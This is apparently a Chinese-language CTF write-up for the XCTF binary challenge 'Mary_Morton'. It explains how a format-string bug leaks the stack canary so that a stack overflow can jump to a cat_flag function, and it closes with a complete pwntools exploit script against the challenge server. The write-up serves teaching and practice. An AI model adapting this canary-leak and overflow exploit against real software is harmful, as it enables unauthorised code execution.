Mary_Morton(xctf)

0x0 程序保护和流程

保护：

流程：

main()

如果输入1会进入

这个函数有一个栈溢出漏洞。

如果输入2会进入

这个函数有一个格式化字符串漏洞。

还有一个cat_flag的函数

0x1 利用过程

首先这个程序开启了canary，所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值（v2在函数开始时就被**__readfsqword(0x28u)赋值，函数结束前与__readfsqword(0x28u)**进行比较），如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞。首先先确定偏移量。

偏移量为6的位置是格式化字符串漏洞这个函数的栈的开始位置，而开始位置距离与v2的距离为0x88。所以当格式化字符串构造成**%(6+0x88/8)p**的时候就会将v2这个地址中的值已十六进制的形式输出出来。之后就可以绕过canary获得flag了。

0x02 exp

from pwn import *
sh=remote('220.249.52.133','45164')
#sh=process('./a')
cat_flag=0x4008DA
offset=6
sh.recvuntil('3. Exit the battle \n')
sh.sendline('2')
payload='%{}$p'.format(offset+0x88/8)
sh.sendline(payload)
sh.recvuntil("0x")
canary_addr=int(sh.recv(16), 16)
sh.recvuntil('3. Exit the battle \n')
sh.sendline('1')
payload='a'*0x88+p64(canary_addr)+'a'*8+p64(cat_flag)
sh.sendline(payload)
sh.interactive()